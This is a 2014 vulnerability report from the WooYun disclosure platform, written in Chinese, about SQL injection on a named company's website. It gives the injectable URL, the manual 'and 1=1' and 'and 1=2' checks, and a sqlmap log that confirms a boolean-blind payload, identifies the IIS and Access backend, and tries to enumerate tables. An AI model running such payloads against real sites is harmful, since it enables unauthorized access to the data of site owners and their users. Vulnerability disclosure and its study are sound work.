当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066970

漏洞标题:全通数码官网sql注入

相关厂商:全通数码

漏洞作者: scanf

提交时间:2014-07-02 18:07

修复时间:2014-08-16 18:08

公开时间:2014-08-16 18:08

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-08-16: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看到期末考试的答题卡上印着这个公司就屁颠屁颠的百度了.

详细说明:

注射点:http://www.allcom.cn/app/asp/show.asp?id=3935
手动检测的 and 1=1

QQ截图20140702141728.png


and 1=2 报错

QQ截图20140702141825.png


丢sqlmap

漏洞证明:

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:04:01
[14:04:01] [INFO] testing connection to the target url
[14:04:02] [INFO] testing if the url is stable, wait a few seconds
[14:04:03] [INFO] url is stable
[14:04:03] [INFO] testing if GET parameter 'id' is dynamic
[14:04:04] [INFO] heuristics detected web page charset 'GB2312'
[14:04:04] [INFO] confirming that GET parameter 'id' is dynamic
[14:04:04] [WARNING] GET parameter 'id' appears to be not dynamic
[14:04:04] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[14:04:04] [INFO] testing for SQL injection on GET parameter 'id'
[14:04:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:04:10] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[14:04:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[14:04:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:04:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:04:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[14:04:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:04:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[14:04:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[14:04:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:04:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:04:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[14:04:18] [INFO] testing 'Oracle AND time-based blind'
[14:04:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:04:18] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[14:04:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:04:28] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[14:04:39] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 62 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3935 AND 3087=3087
---
[14:04:58] [INFO] testing MySQL
[14:04:59] [WARNING] the back-end DBMS is not MySQL
[14:04:59] [INFO] testing Oracle
[14:04:59] [WARNING] the back-end DBMS is not Oracle
[14:04:59] [INFO] testing PostgreSQL
[14:04:59] [WARNING] the back-end DBMS is not PostgreSQL
[14:04:59] [INFO] testing Microsoft SQL Server
[14:04:59] [WARNING] the back-end DBMS is not Microsoft SQL Server
[14:04:59] [INFO] testing SQLite
[14:05:00] [WARNING] the back-end DBMS is not SQLite
[14:05:00] [INFO] testing Microsoft Access
[14:05:00] [INFO] confirming Microsoft Access
[14:05:00] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:05:00] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[14:05:00] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[14:05:01] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:05:01] [INFO] retrieved:
[14:05:01] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[14:05:01] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'

修复方案:

过滤id 我跑不出表呵呵,
就算是阅卷的也要加强安全,因为安全是个整体.

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝